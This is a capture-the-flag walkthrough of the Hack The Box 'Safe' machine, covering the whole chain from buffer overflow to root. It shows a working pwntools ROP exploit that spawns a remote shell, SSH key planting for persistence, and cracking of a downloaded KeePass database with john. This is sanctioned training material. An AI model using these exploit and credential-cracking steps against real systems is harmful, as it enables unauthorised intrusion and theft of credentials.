Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAA RAAoAA\n") RDI: 0x0 RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") RIP: 0x4011ac (<main+77>: ret) R8 : 0x97 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow ) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0008| 0x7fffffffe470 ("AkAAPAAlAAQAAmAARAAoAA") 0016| 0x7fffffffe478 ("AAQAAmAARAAoAA") 0024| 0x7fffffffe480 --> 0x41416f414152 ('RAAoAA') 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x86bef1715ff44e13 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main () gdb-peda$ pattern offset AA8AANAA AA8AANAA found at offset: 112
If we repeat, with 112 junk characters, and our string we see that the value of RBP is our string just before the crash.
gdb-peda$ r Starting program: /opt/HTB/Machines/Safe/myapp [Detaching after vfork from child process 7198] 09:43:34 up 12:24, 6 users, load average: 0.02, 0.02, 0.00
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shUDDDDDDDDDDDDDDDD AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shUDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shU", 'D' <repeats 16 times>, "\n") RDI: 0x0 RBP: 0x5568732f6e69622f ('/bin/shU') RSP: 0x7fffffffe468 ('D' <repeats 16 times>) RIP: 0x4011ac (<main+77>: ret) R8 : 0x89 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ('D' <repeats 16 times>) 0008| 0x7fffffffe470 ("DDDDDDDD") 0016| 0x7fffffffe478 --> 0x7fffffffe500 --> 0x0 0024| 0x7fffffffe480 --> 0x100040000 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x834716195894c84 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main ()
Gadget R13
u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep r13
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401204: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401206: pop r13; pop r14; pop r15; ret;
0x0000000000401203: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401205: pop rsp; pop r13; pop r14; pop r15; ret;
The address 0x401206 is a good candidate to control the value of the register R13.
Strategy
We send 112 junk characters, our string "/bin/sh", call rop gadget (0x401206), address of system (pop R13), Null (pop R14), Null (pop R15), call test. Test will push RBP (our string to RDI) and Jump to R13, witch contains the address of system.
u505@kali:~/HTB/Machines/Safe$ cat exploit.py #!/usr/bin/python from pwn import *
#context(log_level='DEBUG')
#p = process ("./myapp") p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid))
#0x0000000000401206: pop r13; pop r14; pop r15; ret; popr13r14r15=0x0000000000401206 systemplt=0x401040 test=0x0000000000401152 binshstr="/bin/sh\x00"
junk = (120-len(binshstr))*'A'
payload = junk + binshstr + p64(popr13r14r15) + p64(systemplt) + p64(0x0) + p64(0x0) + p64(test) + "\n" data1 = p.recvline() log.info("data1 %s" % data1) log.info("Send payload") p.send(payload)
p.interactive()
Exploit execution
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1 10:01:21 up 2:06, 0 users, load average: 0.00, 0.00, 0.00
[*] Send payload
[*] Switching to interactive mode
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive
User flag
With the exploit, we gain a shell to the machine (It seems easy with the solution, isn't it?), and see the user flag.
u505@kali:~/HTB/Machines/Safe$ python exploit.py [+] Opening connection to 10.10.10.147 on port 1337: Done [*] data1 07:23:52 up 2 min, 0 users, load average: 0.01, 0.01, 0.00 [*] Send payload [*] Switching to interactive mode $ cat /home/user/user.txt <USER_FLAG>
But a better way is to gain a proper ssh shell.
Generate RSA key
u505@kali:~/HTB/Machines/Safe$ ssh-keygen -f id_rsasafe Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in id_rsasafe. Your public key has been saved in id_rsasafe.pub. The key fingerprint is: SHA256:/BH2m3rABmNQLhw6AqpHq8+UcrkjCfvLpjjohXMGDg0 u505@kali The key's randomart image is: +---[RSA 3072]----+ |. ... | |.. o.o | |E o o o.. o | |.+ o . o+. o | |o.+ .S+. . | |+ooo .+. o | |=*=+ ...o | |BBB. .. | |+BBo .. | +----[SHA256]-----+
Add the authorize key to the target server
u505@kali:~/HTB/Machines/Safe$ cat id_rsasafe.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvqE3T1cDPGfcROcYTVCl41DZOQ1pPc4wrdyoLFnFLelujcQJbRyC4S+aCZYF9n/FFy6xvblYfpE34f3jFYHPGbDhKItx8fgn04tmyvdq7hQCWF/MtajlooXwi4o+NDB5QGSXHuDpH/JcGAkcQUD+24oEAdDOQki4ApAT4CNICKrsbmTGVbcnYPzC6vElLTbAabqqupF8183rH0uR6Oj3zPFJze7qFwlvuaqbBAtMR+s5z4buexvDxtWkznYT3ZwNvUWKXV/YBi149abFzKnG2/mrfzlPpgx/plR9C7oRPI2K0hmtJc1JZj72500Gs2KnHltbZLWK5c/HsVtjZ1re84TSqRT30MZR/dT4u5Zhgq9odjM37/KYBYGqkRljWNj9K9bRukjke3LE43iDPyWjiCS7vm7vXaeErsM+GYwQt2uzUuap5M11rWkX9wCHgCguGoCk8luwRNjk+sJZ2XtjEVSI47TziJ+Q+9IP+2NQq80kZ8+yG1mXb43ozL0RDWtM= u505@kali
From the target
$ echo -n "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvqE3T1cDPGfcROcYTVCl41DZOQ1pPc4wrdyoLFnFLelujcQJbRyC4S+aCZYF9n/FFy6xvblYfpE34f3jFYHPGbDhKItx8fgn04tmyvdq7hQCWF/MtajlooXwi4o+NDB5QGSXHuDpH/JcGAkcQUD+24oEAdDOQki4ApAT4CNICKrsbmTGVbcnYPzC6vElLTbAabqqupF8183rH0uR6Oj3zPFJze7qFwlvuaqbBAtMR+s5z4buexvDxtWkznYT3ZwNvUWKXV/YBi149abFzKnG2/mrfzlPpgx/plR9C7oRPI2K0hmtJc1JZj72500Gs2KnHltbZLWK5c/HsVtjZ1re84TSqRT30MZR/dT4u5Zhgq9odjM37/KYBYGqkRljWNj9K9bRukjke3LE43iDPyWjiCS7vm7vXaeErsM+GYwQt2uzUuap5M11rWkX9wCHgCguGoCk8luwRNjk+sJZ2XtjEVSI47TziJ+Q+9IP+2NQq80kZ8+yG1mXb43ozL0RDWtM= u505@kali" >> /home/user/.ssh/authorized_keys $ chmod 600 /home/user/.ssh/authorized_keys
SSH shell
u505@kali:~/HTB/Machines/Safe$ ssh -i id_rsasafe user@safe.htb Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. user@safe:~$ cat user.txt <USER_FLAG>
Escalation of privileges
In the user folder, there is several images, and a keepass file (KeePass, free, open source, light-weight and easy-to-use password manager).
user@safe:~$ ls -ltr total 11260 -rwxr-xr-x 1 user user 16592 May 13 2019 myapp -rw------- 1 user user 33 May 13 2019 user.txt -rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG -rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG -rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG -rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG -rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG -rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG -rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx user@safe:~$ file MyPasswords.kdbx MyPasswords.kdbx: Keepass password database 2.x KDBX
We download these files.
u505@kali:/opt/HTB/Machines/Safe$ scp -i id_rsasafe user@safe.htb:/home/user/*.JPG ./ IMG_0545.JPG 100% 1863KB 4.5MB/s 00:00 IMG_0546.JPG 100% 1872KB 11.0MB/s 00:00 IMG_0547.JPG 100% 2470KB 11.0MB/s 00:00 IMG_0548.JPG 100% 2858KB 9.9MB/s 00:00 IMG_0552.JPG 100% 1099KB 9.9MB/s 00:00 IMG_0553.JPG 100% 1060KB 9.1MB/s 00:00 u505@kali:/opt/HTB/Machines/Safe$ scp -i id_rsasafe user@safe.htb:/home/user/MyPasswords.kdbx ./ MyPasswords.kdbx 100% 2446 52.8KB/s 00:00
The image file files are landscape pictures. But they surely have been used as key file in combination with password to encrypt the password file.
Crack the keepass database
The keepass2john utility allows to extract the hash suitable for john
u505@kali:/opt/HTB/Machines/Safe$ keepass2john Usage: keepass2john [-k <keyfile>] <.kdbx database(s)> u505@kali:~/HTB/Machines/Safe$ ls *.JPG | while read img > do > keepass2john -k $img MyPasswords.kdbx | sed "s/^MyPasswords/$img/" >> keepassjohn.txt > done
We create the john file, but we subtitude the filename (MyPasswords) by the image filename to know witch image is the correct key.
u505@kali:~/HTB/Machines/Safe$ john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt keepassjohn.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (IMG_0547.JPG)
1g 0:00:00:19 0.01% (ETA: 2020-03-01 04:38) 0.05133g/s 68.99p/s 404.1c/s 404.1C/s teacher..realmadrid
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
We abort the crack once the password is found, because the other 5 hashes will never been found (and the ETA is several days).
Root password
The password and the image file allows us to open the password manager.
There is only one entry, root password
Root Flag
user@safe:~$ su - root Password: root@safe:~# whoami root root@safe:~# cat /root/root.txt <ROOT_FLAG>
References
Daniel Simao 21:23, 25 February 2020 (EST)